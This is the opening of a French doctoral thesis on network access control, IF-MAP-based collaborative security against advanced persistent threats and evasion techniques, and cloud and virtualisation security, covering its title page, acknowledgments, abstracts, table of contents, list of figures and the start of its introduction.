Vous êtes sur la page 1sur 198

N° d’ordre 2996

THÈSE DE DOCTORAT

Présentée par

Abdelmajid LAKBABI

Discipline : Informatique
Spécialité : Informatique, Réseaux, Sécurité de l’Information

Contrôle d'Accès Réseau de Nouvelle Génération


Convergence vers un Ecosystème de Sécurité
Soutenue le 22 juin 2017

Devant le jury :

Présidente :
Souad El BERNOUSSI PES Professeur à la Faculté des
Sciences de Rabat

Examinateurs :
M. Said El HAJJI PES Professeur à la Faculté des
Sciences de Rabat
Mme Ghizlane ORHANOU PH Professeur à la Faculté des
Sciences de Rabat
M. El Mamoun SOUIDI PES Professeur à la Faculté des
Sciences de Rabat
M. Jalal LAASSIRI PH Professeur à la Faculté des
Sciences de Kénitra
M. Mohammed BOULMALF PES Professeur à l’Université
Internationale de Rabat

Faculté des Sciences, 4 Avenue Ibn Battouta B.P. 1014 RP, Rabat – Maroc
Tel +212 (0) 37 77 18 34/35/38, Fax : +212 (0) 37 77 42 61, http://www.fsr.ac.ma
Remerciements
Cette thèse a été eectuée sous la direction du Pofesseur Said ELHAJJI et Le co-
encadrement du Professeur GHizlane Orhanou au sein du Laboratoire Mathématiques,
Informatique et Applications (LabMiA), Faculté des Sciences, Université Mohammed V
de Rabat .
Nombreux sont ceux que je voudrais remercier pour m'avoir aidé, soutenu ou accompagné
durant ces années de thèse. C'est pour leur montrer toute ma gratitude et reconnaissance
que je dédie cette page.

Je tiens à exprimer ma plus profonde reconnaissance à mon Professeur Said El HAJJI,


Professeur de l'Enseignement Supérieur à la Faculté des sciences de Rabat. Je vous re-
mercie pour m'avoir accueilli dans votre laboratoire et d'avoir accepté de diriger ce travail
de recherche. Ma considération est inestimable. Au cours de ces années, votre grande
disponibilité, votre rigueur scientique, votre enthousiasme et vos précieux conseils m'ont
permis de travailler dans les meilleures conditions. La conance que vous m'avez accordée
ainsi que nos nombreuses discussions m'ont permis de progresser et de mieux appréhen-
der les diérentes facettes du métier d'enseignant-chercheur. Soyez assuré, Monsieur, de
toute mon estime et de mon profond respect.

Je remercie également Mme Ghizlane ORHANOU, Professeur Habilité à la Faculté des


Sciences de Rabat (Co-Encadrante) pour sa considérable contribution à élaboration de ce
travail. Son dynamisme, son énergie inépuisable et surtout sa générosité, et ses qualités
qui ont fait la diérence dans les moments décisifs tout au long de ces années de thése.

J'adresse mes sincères remerciements à tous les membres du jury pour l'intérêt qu'ils ont
bien voulu porter à ce travail de thèse:

Je remercie vivement Mme Souad El BERNOUSSI, Professeur de l'Enseignement Supérieur


à la Faculté des Sciences de Rabat, de l'honneur qu'elle m'a fait en acceptant d'examiner
ce travail et de présider le jury de ma soutenance. Soyez assurée, Madame, de mon plus
profond respect.

J'adresse aussi mes sincères remerciements à M. El Mamoun SOUIDI, Professeur de


l'Enseignement Supérieur à la Faculté des Sciences de Rabat, de l'honneur qu'il m'a fait
en acceptant de juger ce travail et d'en être le rapporteur. Veuillez trouver ici l'expression
de ma profonde reconnaissance.

Je remercie chaleureusement M. Jalal LAASSIRI, Professeur Habilité à la Faculté des


Sciences de Kénitra d'avoir accepté de juger ce travail. Je le remercie également de m'avoir

i
fait l'honneur d'en être le rapporteur. Veuillez accepter mes plus sincères remerciements
pour votre présence dans ce jury et soyez assuré, Monsieur, de tout mon respect et de
ma profonde gratitude.

Je suis très reconnaissant à M. Mohammed BOULMALF, Professeur de l'Enseignement


Supérieur à l'Université Internationale de Rabat. Je le remercie de m'avoir fait l'honneur
d'examiner ce travail et pour tout l'intérêt qu'il lui a porté. Votre présence dans ce jury
m'honore. Veuillez agréer, Monsieur, le témoignage de mon respect le plus profond.

Un remerciement très spécial est adressé à ma hiérarchie et mes collègues de travail qui
m'ont beaucoup encouragé et soutenu. Leur conance que je pourrais réussir à combiner
entre mes responsabilités au sein de MTDS et mon travail de recherche, m'a poussé
à fournir le maximum d'eort an d'accomplir ces deux importantes tâches dans les
meilleures conditions; j'en suis très reconnaissant.
Je voudrais également remercier les membres du Laboratoire Mathématiques, Informa-
tique et Applications qui m'ont encouragé et soutenu. Qu'ils trouvent ici l'expression de
mes scincères remerciements, en particulier ma collègue Kaouthar CHETIOUI.

Ces avant-propos seraient incomplets sans un grand remerciement aux membres de ma


famille, en particulier mes très chers parents, mes frères, ma femme et mes petits enfants
Hadil et Elyes. Ce travail vous appartient à tous. Votre soutien sans limites, votre
amour inconditionnel et vos encouragements continus étaient le soue de vie qui m'a
permis à chaque fois de regénérer mes forces et d'accomplir ce travail dans des conditions
meilleures.
Je pense également à mes amis qui m'ont toujours soutenu et encouragé durant toutes
ces années d'études et pour toutes les années de travail que nous avons passé ensemble.
Je leur exprime ma profonde sympathie et je leur souhaite beaucoup de bien.

Je ne saurais terminer ces remerciements sans remercier vivement tous mes instituteurs et
institutrices, mes professeurs de collège, d'enseignements supérieurs qui ont vu en ma per-
sonne une étincelle d'espoir. Je remercie également toutes les autres personnes aimables
et serviables qui m'ont soutenu et qui ont contribué de près ou de loin à l'accomplissement
de ce travail.

A tous ces gens-là, je serai éternellement reconnaissant. Merci.

ii
Résumé
Les nouvelles vagues d'attaques "Ransomeware", que le monde a vécu dernièrement et
qu'il continue de vivre, montre clairement la vulgarisation des techniques de cybercrim-
inalité d'une part, et d'autre part ceci montre l'insusance et l'aspect réactionnel des
systèmes de protection mis en place dans les réseaux IP et Internet comme réseau des
réseaux.

A travers les travaux de cette thèse, nous avons mis comme objectif d'analyser l'écart
entre l'aspect innovateur et avant-gardiste des nouvelles attaques qui visent les réseaux
IP, et l'aspect réactif des mesures de sécurité mises en place dans ces réseaux victimes. Le
dé en conséquence étant de transformer cet aspect réactif de la sécurité des réseaux en
aspect proactif. En eet, l'étude des modèles de contrôle d'accès et leur implémentation
au niveau du réseau nous a emmené à adopter la technologie NAC comme une protection
multi-niveau étendue sur les réseaux locaux ou "LAN - Local Area Network".

Par ailleurs, nous avons analysé l'anatomie des nouvelles attaques chainée et leurs tech-
niques d'évasion pour pouvoir proposer une approche capable de résister à ces attaques.
Nous avons constaté qu'il est très délicat de répondre en temps réel à ces attaques en gar-
dant des solutions de sécurité cloisonnées et non intégrées, d'où l'obligation d'adopter IF-
MAP pour l'échange des évènements et incidents de sécurité en temps réel et l'automatisation
du processus de corrélation.

La résultante est une plateforme intégrée autour de technologies dédiées comme les (Pare-
feu, IDS/IPS et autres), capable de partager l'eort de détection et ayant l'intelligence
corrélative nécessaire pour répondre aux dés cités en temps réel et d'une manière proac-
tive et ponctuelle (par exemple la mise en quarantaine par le système NAC d'une adresse
IP au point le plus prêt de celle-ci dès qu'elle est remarquée par l'une des sondes de la
plateforme de sécurité). En dernier, nous avons projeté cette plateforme résultante vers
la sécurité du Cloud et des plateformes virtuelles.

Mots-Clés: NAC, Contrôle d'accès réseau, IF-MAP, APT, Evasion, corrélation, Cloud,
Virtualisation, Quarantaine, Ransomeware.

iii
Abstract
The new "Ransomeware" storm, attacks which the world has lived through lately and
which it continues to live, clearly shows the popularization of cybercrime techniques on
the one hand and, on the other hand, the reactionary aspect of the protection systems
implemented in IP and Internet networks such as the network of networks.

Through the work of this thesis, we set out to analyze the gap between the innova-
tive and vanguard aspect of those new attacks, and the reactive aspect of the security
measures put in place inside victim networks. Therefore, the challenge is to shift this
security aspect from reactive to proactive and predictive one. Indeed, the access control
models study and their implementation at the network level has led us to adopt NAC
technology as an extended multi-level protection over LAN "LAN - Local Area Network".

Moreover, we analyzed the anatomy of the new Chained Exploits and their escape tech-
niques in order to propose an approach able to stop such attacks. The synthesis that has
been made is the following: it is very dicult to respond in real time to these attacks by
keeping security solutions compartmentalized and not integrated, hence the obligation to
adopt IF-MAP to share events and security incidents in real time and automation of the
correlation process.

The resultant is an integrated platform, around dedicated technologies capable of sharing


the detection eort, and having the correlative intelligence necessary to respond to the
challenges cited in real time and in a proactive and punctual way. Lastly, we planned
this resulting platform towards the security of the Cloud and virtual platforms.

Keywords: NAC, Network Access Control, IF-MAP APT, Evasion, correlation, Cloud,
Virtualization, Quarantaine, Ransomeware.

iv
Table des matières

Remerciements i
Résumé iii
Abstract iv
Table des gures viii
INTRODUCTION 1
Chapitre 1 -Modèles et politiques de contrôle d'accès au réseau 5
1.1 Introduction et concepts généraux . . . . . . . . . . . . . . . . . . . . . . 5
1.1.1 Objectif de la sécurité . . . . . . . . . . . . . . . . . . . . . . . . 5
1.1.2 Notion de risque informatique . . . . . . . . . . . . . . . . . . . . 8
1.2 Modèles fondamentaux de contrôle d'accès . . . . . . . . . . . . . . . . . 14
1.2.1 Le contrôle d'accès discrétionnaire DAC . . . . . . . . . . . . . . 15
1.2.2 Le contrôle d'accès obligatoire MAC . . . . . . . . . . . . . . . . 16
1.2.3 Le contrôle d'accès à base du rôle R-BAC . . . . . . . . . . . . . 19
1.2.4 Le contrôle d'accès à base d'attributs ABAC . . . . . . . . . . . . 22
1.3 Contrôle d'accès hybride et multi-niveau . . . . . . . . . . . . . . . . . . 23
1.3.1 Politique de contrôle d'accès . . . . . . . . . . . . . . . . . . . . . 23
1.3.2 Contrôles d'accès multi-niveau ou hybride . . . . . . . . . . . . . 24
1.3.3 Etude de cas : contrôle d'accès au niveau OS . . . . . . . . . . . . 26
1.4 Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29

Chapitre 2 -Nouvelle modélisation du contrôle d'accès réseau 31


2.1 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
2.1.1 Analyse et réduction de la surface d'attaque . . . . . . . . . . . . 32
2.1.2 Implémentation des contrôles AAA . . . . . . . . . . . . . . . . . 33
2.2 Sécurité interne du réseau LAN . . . . . . . . . . . . . . . . . . . . . . . 34
2.2.1 Anatomies d'attaques sur les réseaux IP . . . . . . . . . . . . . . 34
2.2.2 Classication des données . . . . . . . . . . . . . . . . . . . . . . 36
2.2.3 Segmentation et protection des réseaux IP . . . . . . . . . . . . . 36
2.3 Contrôle d'accès réseau et technologie NAC . . . . . . . . . . . . . . . . 39
2.3.1 Authentication utilisateurs à travers RADIUS . . . . . . . . . . 40
2.3.2 Authentication IEEE 802.1x et EAP . . . . . . . . . . . . . . . . 41
2.3.3 Mécanisme de contrôle d'accès Réseau - NAC . . . . . . . . . . . 48
2.4 Proposition d'une nouvelle modélisation du contrôle d'accès multi-niveau 56

v
2.4.1 Etat d'art des solutions de contrôles d'accès les plus répandues . . 56
2.4.2 Proposition du modèle TCP/IP étendu . . . . . . . . . . . . . . . 61
2.4.3 Exemple d'implémentation - Aectation dynamique des VLAN . . 65
2.5 Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 66

Chapitre 3 -Nouvelle proposition de standardisation vers une sécurité


collaborative (IF-MAP) 67
3.1 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67
3.2 Scénario d'attaques MITM de diérents niveaux . . . . . . . . . . . . . . 69
3.2.1 Mise en oeuvre d'une attaque niveau 2 . . . . . . . . . . . . . . . 69
3.2.2 Anatomie d'une attaque Man in the Middle (MITM) . . . . . . . 71
3.2.3 Mécanismes de sécurité possibles . . . . . . . . . . . . . . . . . . 74
3.3 Protocoles et mécanismes d'intégration et échange de sécurité . . . . . . 77
3.3.1 Protcole SNMP . . . . . . . . . . . . . . . . . . . . . . . . . . . . 78
3.3.2 Protocole Syslog . . . . . . . . . . . . . . . . . . . . . . . . . . . 79
3.3.3 Utilisation d'API et de Scripts . . . . . . . . . . . . . . . . . . . . 79
3.4 Proposition d'amélioration vers un écosystème de sécurité . . . . . . . . . 82
3.4.1 Aperçu global du protocole IF-MAP . . . . . . . . . . . . . . . . 82
3.4.2 Fonctionnement du protocole IF-MAP . . . . . . . . . . . . . . . 90
3.4.3 Adoption d'IF-MAP comme Protocole d'échange de la sécurité NAC 96
3.5 Conclusion et Perspectives . . . . . . . . . . . . . . . . . . . . . . . . . . 101

Chapitre 4 -Contrôle d'accès face aux attaques chainées évoluées 102


4.1 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 102
4.2 Les attaques avancées conçues en chaîne . . . . . . . . . . . . . . . . . . 106
4.2.1 Dénition d'une attaque APT . . . . . . . . . . . . . . . . . . . . 106
4.2.2 Anatomie d'une attaque APT . . . . . . . . . . . . . . . . . . . . 107
4.2.3 Attaques avancées ciblées de type APT . . . . . . . . . . . . . . . 111
4.3 Techniques avancées d'évasion "Advanced Evasion Techniques - AET" . . 117
4.3.1 Méthodes et techniques d'évasion . . . . . . . . . . . . . . . . . . 118
4.3.2 Attaques à base de fragmentation . . . . . . . . . . . . . . . . . . 121
4.3.3 Techniques d'évasion TCP des IPS/IDS . . . . . . . . . . . . . . . 122
4.4 Proposition d'un modèle de sécurité collaborative face aux APT . . . . . 129
4.4.1 Techniques et méthodes d'attaques . . . . . . . . . . . . . . . . . 129
4.4.2 Approche de sécurité actuelle . . . . . . . . . . . . . . . . . . . . 132
4.4.3 Protection contre les attaques dites de nouvelle génération . . . . 134
4.5 Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 140

Chapitre 5 -Contrôle d'accès approprié au Cloud et à la virtualisation 141


5.1 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 141
5.2 Cloud Computing : enjeux et mécanismes fonctionnels . . . . . . . . . . 142
5.2.1 Caractéristiques du Cloud Computing . . . . . . . . . . . . . . . . 142
5.2.2 Choix du service et périmètre de responsabilité au sein du cloud . 144
5.2.3 Exemple de plateformes et services du cloud computing les plus
répandus . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 151
5.3 Virtualisation comme infrastructure du Cloud Computing . . . . . . . . . 156

vi
5.3.1 Concept général de la virtualisation . . . . . . . . . . . . . . . . . 156
5.3.2 Techniques de virtualisation . . . . . . . . . . . . . . . . . . . . . 158
5.4 Enjeux de sécurité de la virtualisation et du cloud . . . . . . . . . . . . . 161
5.4.1 Sécurité du Cloud Computing . . . . . . . . . . . . . . . . . . . . 161
5.4.2 Sécurité de la plateforme virtuelle . . . . . . . . . . . . . . . . . 163
5.4.3 Proposition d'amélioration de la sécurité d'architecture virtuelle . 168
5.5 Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 172

CONCLUSION 173
Liste des Acronymes 175
Liste des Publications 175
Bibliographie 182

vii
Table des gures
1.1.1 Représentation de la triade D, I, et C . . . . . . . . . . . . . . . . . . . . 6
1.1.2 Comparaison entre VPN IPSEC & SSL . . . . . . . . . . . . . . . . . . . 8
1.1.3 Relation risque-menaces-vulénrabilité . . . . . . . . . . . . . . . . . . . . 10
1.1.4 Appréciation des risques . . . . . . . . . . . . . . . . . . . . . . . . . . . 13
1.1.5 Zones d'évaluation du risque . . . . . . . . . . . . . . . . . . . . . . . . . 13
1.2.1 Objectif d'un modèle de contrôle d'accès . . . . . . . . . . . . . . . . . . 14
1.2.2 Evolution historique des modèles de contrôles d'accès . . . . . . . . . . . 15
1.2.3 Modèle de contrôle d'accès R-BAC . . . . . . . . . . . . . . . . . . . . . 19
1.2.4 Droits d'accès aectés aux utilisateurs . . . . . . . . . . . . . . . . . . . 20
1.2.5 Exemple d'utilisation de R-BAC . . . . . . . . . . . . . . . . . . . . . . . 21
1.2.6 Modèle de contrôle d'accès A-BAC . . . . . . . . . . . . . . . . . . . . . 23
1.3.1 Permissions sous Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
1.3.2 Matrice de contrôle d'accès . . . . . . . . . . . . . . . . . . . . . . . . . . 27

2.2.1 Attaque directe vs Attaque indirecte . . . . . . . . . . . . . . . . . . . . 35


2.2.2 Sécurité en profondeur multi-niveaux . . . . . . . . . . . . . . . . . . . . 38
2.3.1 Exemple de segmentation réseau . . . . . . . . . . . . . . . . . . . . . . . 39
2.3.2 Etablissement d'une session au sens Radius . . . . . . . . . . . . . . . . . 40
2.3.3 Exemple d'authentication Radius . . . . . . . . . . . . . . . . . . . . . 41
2.3.4 Situation avant l'authentication 802.1X . . . . . . . . . . . . . . . . . . 42
2.3.5 Situation après l'authentication 802.1X . . . . . . . . . . . . . . . . . . 43
2.3.6 Illustration de l'accès 802.1X . . . . . . . . . . . . . . . . . . . . . . . . . 44
2.3.7 Authentication 802.1x . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44
2.3.8 Schéma simplié de l'automate à états nis PAE . . . . . . . . . . . . . . 45
2.3.9 Authentication EAP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46
2.3.10Communication entre l'utilisateur et le serveur AAA via 802.1X . . . . . 46
2.3.11Activation de 802.1x et EAP sous Windows . . . . . . . . . . . . . . . . 47
2.3.12Méthodes possibles pour la validation de l'authentication/l'admission . 47
2.3.13Fonctionnement général du contrôle NAC . . . . . . . . . . . . . . . . . . 49
2.3.14Processus du contrôle d'accès réseau NAC . . . . . . . . . . . . . . . . . 51
2.3.15Accès à un réseau protégé par le NAC . . . . . . . . . . . . . . . . . . . 52
2.3.16Décision du type d'accès après application du mécanisme NAC . . . . . 53
2.3.17Diérents compartiments de la technologie NAC . . . . . . . . . . . . . . 53
2.4.1 Evaluation Gartner des solutions NAC existantes . . . . . . . . . . . . . 57
2.4.2 Schéma synoptique de Cisco NAC . . . . . . . . . . . . . . . . . . . . . . 58
2.4.3 Cisco NAC en mode inline . . . . . . . . . . . . . . . . . . . . . . . . . . 59
2.4.4 Solution NAC UAC de Juniper . . . . . . . . . . . . . . . . . . . . . . . 60
2.4.5 Solution opensource Packetfence . . . . . . . . . . . . . . . . . . . . . . . 61

viii
2.4.6 Comparaison des solutions Cisco NAC, Juniper et Packtfence . . . . . . . 62
2.4.7 Modèle d'interconnexion étendu . . . . . . . . . . . . . . . . . . . . . . . 63
2.4.8 Paramètres d'identication d'une session utilisateur . . . . . . . . . . . . 63
2.4.9 Standardisation TNC . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 64
2.4.10Processus d'application d'une politique de contrôle d'accès . . . . . . . . 65
2.4.11Attributs Radius . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 66

3.1.1 Exemple de réseau d'entreprise . . . . . . . . . . . . . . . . . . . . . . . 68


3.2.1 Scénario d'attaque ARP Spoong . . . . . . . . . . . . . . . . . . . . . . 70
3.2.2 Entête Ethernet des paquets FTP . . . . . . . . . . . . . . . . . . . . . . 73
3.3.1 Fonctionnement du protocole SNMP . . . . . . . . . . . . . . . . . . . . 78
3.3.2 Protocole Syslog . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 80
3.3.3 Diérents types de Shell . . . . . . . . . . . . . . . . . . . . . . . . . . . 81
3.3.4 Nouvelle vision de la sécurité . . . . . . . . . . . . . . . . . . . . . . . . . 82
3.4.1 Comparaison XML - HTML . . . . . . . . . . . . . . . . . . . . . . . . . 85
3.4.2 Architecture du SOAP . . . . . . . . . . . . . . . . . . . . . . . . . . . . 87
3.4.3 Echange d'information formaté XML via le protocole Web HTTP/HTTPS 88
3.4.4 Echange client-serveur en http . . . . . . . . . . . . . . . . . . . . . . . . 89
3.4.5 XML, SOAP et HTTP à la base du fonctionnement IF-MAP . . . . . . . 90
3.4.6 IF-MAP - Protocole d'échange MAPS/MAPC . . . . . . . . . . . . . . . 91
3.4.7 Les Meta-données pour une requéte d'accès . . . . . . . . . . . . . . . . . 92
3.4.8 Interaction IF-MAP entre le serveur MAPS et les équipements de sécurité 93
3.4.9 Fonctionnement de l'IF-MAP . . . . . . . . . . . . . . . . . . . . . . . . 95
3.4.10Echange IF-MAP: MAPC <-> MAPS . . . . . . . . . . . . . . . . . . . 96
3.4.11Scénario d'échange IF-MAP . . . . . . . . . . . . . . . . . . . . . . . . . 96
3.4.12Architecture du NAC classique . . . . . . . . . . . . . . . . . . . . . . . 97
3.4.13Architecture NAC améliorée par l'usage du protocole IF-MAP . . . . . . 98
3.4.14Approche IF-MAP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 100
3.4.15Approche "un composant à plusieurs" proposée . . . . . . . . . . . . . . 100

4.1.1 Schéma synoptique d'un un réseau IP classique . . . . . . . . . . . . . . 103


4.1.2 Enjeux de sécurité informatique . . . . . . . . . . . . . . . . . . . . . . . 103
4.2.1 Diérentes phases d'une attaque APT . . . . . . . . . . . . . . . . . . . . 110
4.2.2 Charge utile insérée dans un chier pdf . . . . . . . . . . . . . . . . . . . 112
4.2.3 Structure d'un chier pdf . . . . . . . . . . . . . . . . . . . . . . . . . . . 113
4.2.4 Résultat de scan avec virustotal . . . . . . . . . . . . . . . . . . . . . . . 115
4.2.5 Comparaison des attaques traditionnelles et celles des APT . . . . . . . . 117
4.3.1 Modèle en couche TCP/IP . . . . . . . . . . . . . . . . . . . . . . . . . . 120
4.3.2 Evasion par découpage en petits fragments . . . . . . . . . . . . . . . . . 122
4.3.3 Flux TCP initial . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 122
4.3.4 Flux TCP aperçu par l'IPS/IDS . . . . . . . . . . . . . . . . . . . . . . . 123
4.3.5 Flux TCP aperçu par l'Endpoint cible . . . . . . . . . . . . . . . . . . . 123
4.3.6 Illustration de l'attaque fragmentation IP "TTL" . . . . . . . . . . . . . 124
4.3.7 Illustration de l'attaque "fragmentation IP timeout" overlapping . . . . 124
4.3.8 Exemple de code générant une montée en charge du CPU . . . . . . . . . 125
4.3.9 Système de protection déé par les appels système d'hibernation . . . . . 126
4.3.10Diérentes formes d'une même attaque web . . . . . . . . . . . . . . . . 127

ix
4.3.11Attaque exploitant le routage asymétrique . . . . . . . . . . . . . . . . . 127
4.3.12Exemples d'attaques classiées . . . . . . . . . . . . . . . . . . . . . . . . 128
4.3.13Cycle de vie d'une vulnérabilité . . . . . . . . . . . . . . . . . . . . . . . 128
4.4.1 Scénario d'étude . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 129
4.4.2 Les 3 modèles de base de Métasploit . . . . . . . . . . . . . . . . . . . . 129
4.4.3 Choix de combinaison des attaques graphiquement . . . . . . . . . . . . . 130
4.4.4 Exemple de réussite d'une attaque chaînée . . . . . . . . . . . . . . . . . 131
4.4.5 Résultats de tests d'attaque élémentaire et d'attaque combilée . . . . . . 131
4.4.6 Détection à base de signature . . . . . . . . . . . . . . . . . . . . . . . . 132
4.4.7 Exemple d'attaque chaînée . . . . . . . . . . . . . . . . . . . . . . . . . . 135
4.4.8 Empreint de chemins intérmédiaires par l'attaquant . . . . . . . . . . . . 135
4.4.9 Sécurité conventionnelle sans interaction . . . . . . . . . . . . . . . . . . 137
4.4.10Migration vers une sécurité centralisée . . . . . . . . . . . . . . . . . . . 137
4.4.11Contrôle d'une session utilisateur de bout en bout . . . . . . . . . . . . . 138
4.4.12Utilisation d'IF-MAP dans l'échange collaboratif de sécurité . . . . . . . 139
4.4.13Diérents Processus du SIEM . . . . . . . . . . . . . . . . . . . . . . . . 139
4.4.14Sécurité collaborative . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 140

5.2.1 Caractéristiques essentielles du Cloud Computing . . . . . . . . . . . . . 143


5.2.2 Services de base du Cloud Computing . . . . . . . . . . . . . . . . . . . . 145
5.2.3 Services d'une plateforme PaaS du cloud Computing . . . . . . . . . . . 146
5.2.4 Périmètre de responsabilité du consommateur et du fournisseur dans le
Cloud . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 148
5.2.5 Evolution de la demande en SAAS . . . . . . . . . . . . . . . . . . . . . 151
5.2.6 Evolution de la demande en IAAS et PAAS . . . . . . . . . . . . . . . . 151
5.3.1 Vue fonctionnelle d'une plateforme ESXI de VMware . . . . . . . . . . . 158
5.3.2 Architecture générale d'une plateforme virtuelle . . . . . . . . . . . . . . 160
5.4.1 Dés de sécurité pour chaque modèle du Cloud Computing . . . . . . . . 161
5.4.2 Surface d'attaque du Cloud . . . . . . . . . . . . . . . . . . . . . . . . . 162
5.4.3 Diérentes cibles d'un attaquant . . . . . . . . . . . . . . . . . . . . . . . 163
5.4.4 Concepts de vNIC et vSwitch . . . . . . . . . . . . . . . . . . . . . . . . 164
5.4.5 Hyperviseur accessible via l'interface NIC2 (réseau de management dédié) 167
5.4.6 IDS en environnement physique . . . . . . . . . . . . . . . . . . . . . . . 169
5.4.7 Protection d'ESXi par une plateforme "Pare-feu & IDS/IPS . . . . . . . 170
5.4.8 Intégration de l'enviromment virtuel VMware ESX au NAC . . . . . . . 171
5.4.9 Intégration d'un enviromment virtuel au NAC . . . . . . . . . . . . . . . 171
5.4.10Protection NAC des environnements virtuel et physique . . . . . . . . . . 171

x
INTRODUCTION
la sécurité informatique est une problématique complexe et multi-facettes; Elle est à la
fois liée à des problématiques techniques, organisationnelles et humaines.
Elle concerne à la fois les machines, le réseau mais aussi les utilisateurs et les applica-
tions en usage; Pour toute organisation qui dépend d'un système d'information able, il
s'avère incontournable de prendre en compte de la sécurité dans les diérentes phases de
développement de son cycle métier du fait que malgré la conscience bien réelle des prob-
lèmes de sécurité aà la fois par le monde académique et le monde industriel, de nouvelles
vulnérabilités sont découvertes et exploitées tous les jours.
Par ailleurs, il est notable que les investissements budgétaires, en ressources d'infrastructure
réseau et de produits sous forme de briques indépendantes de sécurité n'ont pas abouti
au résultat escompté au niveau de la sécurité des réseaux IP.
Pourtant, on continue toujours, par le moyen d'outils de défense traditionnels, à faire face
aux nouvelles attaques ciblés et sophistiquées APT et AET respectivement.
En outre, ces outils classiques de type (Antivirus, Pare-feu, systéme de détection/prévention
IDS/IPS etc.) proposent une approche réactive, et non proactive pour détecter les pro-
grammes illicites et à comportement malveillant. Ils utilisent pour ce faire une base de
signatures limitée aux menaces connues, et se trouvent dans plusieurs cas incapables de
faire face à toute nouvelle attaque inconnue jusqu'alors.
De leur part, les hackers mettent en place des mécanismes de camouage évolués pour
dissimuler leurs agissements et ainsi passer au travers de ces protections par signatures.
Notre proposition consiste à analyser ce décalage entre l'aspect évolué des attaques et
l'aspect réactionnel du système défensif utilisé, dans la perspective de proposer une nou-
velle approche de défense dite "Défense Active".
Cette nouvelle approche de la sécurité informatique va notamment se concentrer sur
l'attaquant, ses modes opératoires, ses outils et ses motivations. C'est également une
approche dynamique qui se base sur les outils d'une défense passive (Antivirus, Pare-
feu, systéme de détection/prévention IDS/IPS etc.); On va, en fait, chercher à s'adapter
aux dés que présentent ces nouvelles menaces par le biais de corrélation et de contribu-
tion sous forme d'échanges d'évènements de sécurité dans un écosystème de sécurité. Ce
dernier représentant l'ensemble de sous-systèmes qui participent, moyennant un échange
d'information critiques, à l'amélioration de la sécurité globale du réseau IP.
Il est fondamental de remarquer que ces nouvelles attaques, sont menées en plusieurs
phases et font appel à des tactiques et des techniques d'évasion pour rendre dicile leur
détection. Par analogie, notre proposition de sécurité incorpore une première phase de
classication et de segmentation du réseau, autour d'une solution de contrôle d'accès
"Network Acces Control : NAC" dans la perspective de classier les ressources informa-
tiques, déterminer leur niveau de sécurité sous forme de zones ou segments IP, du moins

1
au plus sécurisé. Ainsi segmenté, le réseau IP et ses ressources deviennent contrôlables,
seuls les utilisateurs et les applications acceptés par la politique d'accès seront admis. La
détection est d'une importance capitale pour résister à toutes ces menaces, leur identi-
cation en temps réel est l'un des points clés de la sécurité active, ce qui nous permettra
de planier des actions automatiques (isolements des machines infectées par leur mise
en quarantaine) grâce à la solution NAC et son intégration au reste des composantes de
sécurité. De plus, le nombre de capteurs augmente, les alertes se multiplient. Pour les
gérer ecacement, il est indispensable d'avoir un point central de traitement de ces évène-
ments de sécurité. Ceci nous était possible grâce à l'adoption du mécanisme d'échange
en temps réel IF-MAP.
Néanmoins, les nouvelles attaques combinent de multiples méthodes d'attaques évoluées
comme, par exemple, l'exploitation d'une vulnérabilité applicative (serveur web, lecteur
de chier PDF) permet de propager un malware au travers du réseau le réseau IP, ou de
récupérer d'accès à des actifs sensibles via l'élévation de privilèges. Notre approche de
la sécurité informatique va notamment mettre en avant l'analyse des tactiques et tech-
niques d'évasion, leur mode opératoire et leurs outils. C'est également une approche
dynamique qui, tout en se basant sur les composantes d'une défense passive (Antivirus,
Pare-feu, systéme de détection/prévention IDS/IPS etc.), va chercher à s'adapter aux
nouvelles menaces auxquelles les réseaux font face, grâce au travail d'analyse (des logs,
des malwares, etc), mais surtout grâce au travail collaboratif, au partage de l'information
de sécurité, sa corrélation dans la perspective d'une réaction ponctuelle et automatisée,
ce qui permettra de détecter le plus en amont possible ces attaques ciblées. En dernier,
nous avons proposé d'étendre notre proposition pour intégrer aussi la sécurité du cloud
computing et les palteformes virtuelles pour accroitre l'agilité de la proposition.
Au cours des travaux de cette thèse, nous avons porté un intérêt particulier aux cinq
aspects de recherche suivants :

• modèles de contrôle d'accès et leur évolution historique, MAC DAC, RBAC et


ABAC, les politiques de contrôle d'accès et leur application au niveau réseau sous
forme de protection multi-niveau ou technologie NAC. Nous avons proposé, dans
ce contexte, le modèle en couche étendu qui prend en considération les nouvelles
exigences sécuritaires [1] ;

• mécanisme d'échange des évènements de sécurité formatés en XML/SOAP/HTTPS,


qui n'est autre que le protocole IF-MAP [2] qui va jouer un rôle majeur dans notre
proposition d'amélioration de sécurité ;

• nouvelle approche de contrôle d'accès réseau (NAC) en vue de d'intégration des


solutions de sécurité par le biais du protocole IF-MAP [3, 2] ;

• anatomies des nouvelles attaques avancées APT et techniques d'évasion AET util-
isées pour pénétrer les réseaux, et notre approche de sécurité contextuelle [4, 3]
pour s'y défendre ;

• La sécurité des plateformes Cloud [5], et virtuelles [6] en particulier la projection


de la proposition de sécurité propre à l'environnement traditionnel vers le monde
du cloud et la virtualisation ;

2
En eet, nous avons développé ces aspects de recherche sous forme de cinq chapitres selon
le plan décrit ci-dessous :

• chapitre 1 intitulé : "Modèles et Politiques de Contrôle d'Accès aux


Ressources Critiques du Réseau".
